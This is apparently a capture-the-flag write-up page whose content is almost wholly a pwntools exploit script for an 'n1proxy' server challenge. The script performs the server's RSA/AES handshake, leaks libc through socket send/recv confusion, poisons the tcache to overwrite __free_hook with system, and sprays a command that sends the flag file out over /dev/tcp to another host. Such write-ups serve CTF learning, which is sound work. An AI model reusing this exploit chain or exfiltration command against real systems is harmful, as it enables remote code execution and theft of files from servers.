Tags: tcache pwn heap rust 

Rating:

> https://uz56764.tistory.com/112

```
from pwn import *

from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5, AES
from Crypto.Signature import pkcs1_15
from Crypto.Hash import SHA256
from Crypto.Util.Padding import pad
from typing import NamedTuple, Tuple, Optional

import random

ConnType_New = 0
ConnType_Restore = 1
ConnType_Renew = 2
ConnType_Restart = 114514
ConnType_Unknown = 3

ProxyType_Tcp = 0
ProxyType_Udp = 1
ProxyType_Sock = 2
ProxyType_Unknown = 3

ProxyStatus_Send = 0
ProxyStatus_Recv = 1
ProxyStatus_Conn = 2
ProxyStatus_Close = 3
ProxyStatus_Listen = 4
ProxyStatus_Unknown = 5

def hexdump(data):
dump = []
for i in range(0, len(data), 16):
chunk = data[i:i+16]
hex_data = ' '.join(f"{b:02x}" for b in chunk)
ascii_data = ''.join(chr(b) if 32 <= b < 127 else '.' for b in chunk)
dump.append(f"{i:04x} {hex_data:{' '}<{48}} {ascii_data}")
return '\n'.join(dump)

def custom_pad(data: bytes, block_size: int) -> bytes:
padding_len = (block_size - (len(data) % block_size)) % block_size
return data + bytes([padding_len]) * padding_len

def custom_unpad(data: bytes, block_size: int) -> bytes:
padding_len = data[-1]
if data[-padding_len:] != bytes([padding_len]) * padding_len:
raise ValueError("Invalid padding")
return data[:-padding_len]

def session_enc(keys: bytes, msg: bytes):
key = keys[:32]
iv = keys[32:]

padded_msg = custom_pad(msg, 16)

cipher = AES.new(key, AES.MODE_CBC, iv)
enc = cipher.encrypt(padded_msg)
return enc

def session_dec(keys: bytes, msg: bytes):
key = keys[:32]
iv = keys[32:]

cipher = AES.new(key, AES.MODE_CBC, iv)
dec = custom_unpad(cipher.decrypt(msg), 16)
return dec

def RSA_sign(priv_key, msg):
return pkcs1_15.new(RSA.import_key(priv_key)).sign(SHA256.new(msg))

def RSA_dec(priv_key, msg):
return PKCS1_v1_5.new(RSA.import_key(priv_key)).decrypt(msg, None)

def key_exchanger(p, conntype, client_pri_key=0, client_pub_key_n=0, client_pub_key_e=0):
p.recvuntil(b'n1proxy server v0.1')
# clinet hello
p.send(b'n1proxy client v0.1')
# ConnType
p.send(p32(conntype))

key_exchange_sign_len = u64(p.recvn(8))
key_exchange_sign = p.recvn(key_exchange_sign_len)

pub_key_n_len = u64(p.recvn(8))
pub_key_e_len = u64(p.recvn(8))

pub_key_n = p.recvn(pub_key_n_len)
pub_key_e = p.recvn(pub_key_e_len)

if conntype != ConnType_Restore:
client_key = RSA.generate(4096)
client_pri_key = client_key.export_key()
client_pub_key = client_key.publickey()

client_pub_key_n = int(client_pub_key.n).to_bytes((client_pub_key.n.bit_length() + 7) // 8, byteorder='big')
client_pub_key_e = int(client_pub_key.e).to_bytes((client_pub_key.e.bit_length() + 7) // 8, byteorder='big')

client_key_exchange = (
len(client_pub_key_n).to_bytes(8, byteorder='little') +
client_pub_key_n +
len(client_pub_key_e).to_bytes(8, byteorder='little') +
client_pub_key_e
)

client_key_exchange_sign = RSA_sign(client_pri_key, client_key_exchange)

p.send(p64(len(client_key_exchange_sign)))
p.send(client_key_exchange_sign)
p.send(p64(len(client_pub_key_n)))
p.send(client_pub_key_n)
p.send(p64(len(client_pub_key_e)))
p.send(client_pub_key_e)

print(f'[+] key_exchanger{conntype} -> priv_key : {client_pri_key[:10]}...')
return (client_pri_key, client_pub_key_n, client_pub_key_e)

def read_session_key(p, priv_key):
new_session_sign_len = u64(p.recvn(8))
new_session_sign = p.recvn(new_session_sign_len)

new_session_enc_key_len = u64(p.recvn(8))
new_session_enc_key = p.recvn(new_session_enc_key_len)

new_session_enc_time_len = u64(p.recvn(8))
new_session_enc_time = p.recvn(new_session_enc_time_len)

new_session_dec_key = RSA_dec(priv_key, new_session_enc_key)

print(f'[+] read_session_key -> session_key : {list(new_session_dec_key)}...')
return new_session_dec_key

def read_ok_msg(p):
p.recvn(528)

def make_payload(pay):
payload = pay
payload += RSA_sign(client_pri_key, payload)
return session_enc(session_key, payload)

binary = process("./n1proxy_server")

TARGET_SERVER_HOST = '127.0.0.1'
TARGET_SERVER_PORT = 8080

# run listen
p = remote(TARGET_SERVER_HOST, TARGET_SERVER_PORT)
client_pri_key, client_pub_key_n, client_pub_key_e = key_exchanger(p, ConnType_New)
session_key = read_session_key(p, client_pri_key)

p.send(make_payload(p32(ProxyType_Sock) + p32(ProxyStatus_Listen)))
read_ok_msg(p)

target_host = ('abcd' + str(random.randint(0,999999999999999999))).encode()
target_host_len = len(target_host)
target_port = 12345
p.send(make_payload(p32(target_host_len) + target_host + p16(target_port)))

# run conn
p1 = remote(TARGET_SERVER_HOST, TARGET_SERVER_PORT)
client_pri_key, client_pub_key_n, client_pub_key_e = key_exchanger(p1, ConnType_Restore, client_pri_key, client_pub_key_n, client_pub_key_e)

p1.send(make_payload(p32(ProxyType_Sock) + p32(ProxyStatus_Conn)))
read_ok_msg(p1)
p1.send(make_payload(p32(target_host_len) + target_host + p16(target_port)))

listen_fd = u32(session_dec(session_key, p.recvn(528))[:4])
conn_fd = u32(session_dec(session_key, p1.recvn(528))[:4])
print(f'[+] listen_fd : {listen_fd}')
print(f'[+] conn_fd : {conn_fd}')
p.close()
p1.close()

#run send
p2 = remote(TARGET_SERVER_HOST, TARGET_SERVER_PORT)
client_pri_key, client_pub_key_n, client_pub_key_e = key_exchanger(p2, ConnType_Restore, client_pri_key, client_pub_key_n, client_pub_key_e)

p2.send(make_payload(p32(ProxyType_Sock) + p32(ProxyStatus_Send)))
read_ok_msg(p2)
p2.send(make_payload( p32(conn_fd) + p64(1) + b'a'))
p2.close()

# run recv
p1 = remote(TARGET_SERVER_HOST, TARGET_SERVER_PORT)
client_pri_key, client_pub_key_n, client_pub_key_e = key_exchanger(p1, ConnType_Restore, client_pri_key, client_pub_key_n, client_pub_key_e)

p1.send(make_payload(p32(ProxyType_Sock) + p32(ProxyStatus_Recv)))
read_ok_msg(p1)
p1.send(make_payload(p32(listen_fd) + p64(1024)))

res = session_dec(session_key, p1.recvall(timeout=3))
p1.close()

libc_base = u64(res[8:16]) - 0x3ebc61
free_hook = libc_base + 0x3ed8e8
system_addr = libc_base + 0x4f420
print(f'libc_base = {hex(libc_base)}')
print(f'free_hook = {hex(free_hook)}')
print(f'system_addr = {hex(system_addr)}')

#tcache poisoning
p2 = remote(TARGET_SERVER_HOST, TARGET_SERVER_PORT)
client_pri_key, client_pub_key_n, client_pub_key_e = key_exchanger(p2, ConnType_Restore, client_pri_key, client_pub_key_n, client_pub_key_e)

p2.send(make_payload(p32(ProxyType_Sock) + p32(ProxyStatus_Send)))
read_ok_msg(p2)
p2.send(make_payload( p32(conn_fd) + p64(0x20) + p64(free_hook-0x18)+p64(0x0)+p64(system_addr)+p64(system_addr)))
p2.close()

p1 = remote(TARGET_SERVER_HOST, TARGET_SERVER_PORT)
client_pri_key, client_pub_key_n, client_pub_key_e = key_exchanger(p1, ConnType_Restore, client_pri_key, client_pub_key_n, client_pub_key_e)

p1.send(make_payload(p32(ProxyType_Sock) + p32(ProxyStatus_Recv)))
read_ok_msg(p1)
p1.send(make_payload(p32(listen_fd) + p64(0x80)))
p1.close()

command = b'id;id;id;id;id;bash -c "cat /flag >&/dev/tcp/172.17.0.2/7070";#'*100

for i in range(0,100):
p3 = remote(TARGET_SERVER_HOST, TARGET_SERVER_PORT)
p3.send(b'n1proxy client v0.1')
p3.send(p32(ConnType_Restore))

p3.send(p64(512))
p3.send(command[:512])
p3.send(p64(512))
p3.send(command[:512])
p3.send(p64(3))
p3.send(command[:3])

binary.interactive()
binary.kill()
```

Original writeup (https://uz56764.tistory.com/112).